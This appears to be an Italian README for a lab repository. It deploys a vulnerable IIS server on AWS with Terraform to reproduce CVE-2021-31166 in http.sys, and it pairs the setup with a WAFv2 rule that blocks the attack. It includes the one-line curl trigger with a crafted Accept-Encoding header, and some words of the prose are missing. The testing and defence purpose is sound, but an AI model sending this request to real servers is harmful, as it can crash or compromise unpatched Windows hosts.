
Proof-of-concept per CVE-2021-31166 (RCE su http.sys) con deployment Terraform su AWS, inclusi script di test e una regola WAFv2 per bloccare l'exploit.
Questo Repo è ispirato a 0vercl0k per una prova di concetto per CVE-2021-31166 ("Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP"), un uso dopo libero (use-after-free) in http.sys corretto da Microsoft a maggio 2021.
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
Il terraform creerà un'istanza EC2 con Windows Server Core 20H2, installerà IIS e aggiungerà le autorizzazioni SSM per aprire una Sessione Web Powershell dalla Console AWS. Creerà anche un e userà l'istanza come target. Per impostazione predefinita, il aggiungerà solo come consentito per l'accesso su .
Application Load BalancerSecurity Group#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}